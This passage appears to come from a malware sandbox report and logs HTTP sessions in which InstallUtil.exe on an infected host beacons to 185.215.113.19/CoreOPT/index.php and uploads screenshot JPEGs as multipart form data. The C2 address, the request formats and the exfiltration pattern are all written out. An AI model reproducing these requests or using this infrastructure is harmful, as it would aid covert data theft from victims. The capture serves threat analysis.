0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:00.048032999 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:00.513482094 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	49739	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:00.648948908 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:01.666838884 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:01.668914080 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:02.086875916 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	49740	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:00.802932978 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NTg= Host: 185.215.113.19 Content-Length: 85610 Cache-Control: no-cache
Oct 16, 2024 19:23:00.802932978 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:00.803020000 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:00.803020000 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:00.803020000 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:00.803020000 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:00.803020000 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:00.803103924 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:00.803103924 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:00.803103924 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:00.803105116 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:02.406244993 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	49741	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:02.338870049 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:03.919877052 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:03.921494961 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:04.330087900 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	49742	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:02.619343042 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:02.619343042 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:02.619343042 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:02.619452000 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:02.619452000 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:02.619452000 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:02.619452000 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:02.619452000 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:02.619452000 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:02.619535923 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:02.619535923 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:04.266805887 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	49744	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:04.443653107 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:05.446274042 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:05.450215101 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:05.857698917 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	49745	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:04.470041990 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:04.470114946 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:04.470114946 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:04.470175028 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:04.470175028 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:04.470175028 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:04.470220089 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:04.470220089 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:04.470277071 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:04.470277071 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:04.470277071 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:06.073183060 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	49747	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:05.972862959 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:06.997193098 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:23:06.998337984 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:23:07.409565926 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	49748	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:06.263695955 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NDI= Host: 185.215.113.19 Content-Length: 85594 Cache-Control: no-cache
Oct 16, 2024 19:23:06.263695955 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 44 49 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NDI=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:23:06.263695955 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:23:06.263746023 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:23:06.263746023 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:23:06.263789892 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:23:06.263789892 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:23:06.263789892 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:23:06.263843060 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:23:06.263843060 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:23:06.263843060 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:07.909570932 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	49749	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:23:07.522833109 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.9	49750	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

